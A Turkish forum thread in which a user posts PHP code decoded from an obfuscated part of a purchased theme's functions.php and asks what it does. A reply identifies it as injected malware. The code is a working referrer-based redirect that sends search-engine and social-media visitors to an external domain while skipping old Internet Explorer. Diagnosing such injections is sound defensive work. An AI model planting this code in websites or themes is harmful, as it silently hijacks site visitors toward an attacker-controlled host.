• 16-06-2013, 16:03:26
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Merhaba arkadaşlar başıma gelen bi olaydan dolayı yeni tema aldım yabancı bir firmadan. Theme function'da şifreli kısımı çözdürdüğümde böyle bir kod çıktı. Acaba bunun anlamı nedir

    error_reporting(0);
    $qazplm=headers_sent();
    if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
    if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
    if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
    header("Location: http://aprswl.ignorelist.com/");
    exit();
    }
    }
    }
    }
    }
  • 16-06-2013, 22:30:38
    #2
    Bence bu aldığın yabancı temanın functions.php dosyasının orijinalinde bulunmayan bir şey.
    Sonradan bulaşmış olmalı.
    Ayrıca genelde yabancı temalarda şifreleme kullanılmaz. Bir virüs bulaşmıştır.
    Bu kod aol, facebook gibi taraflardan gelen ziyaretçiyi kendilerine yönlendirmeyi sağlar.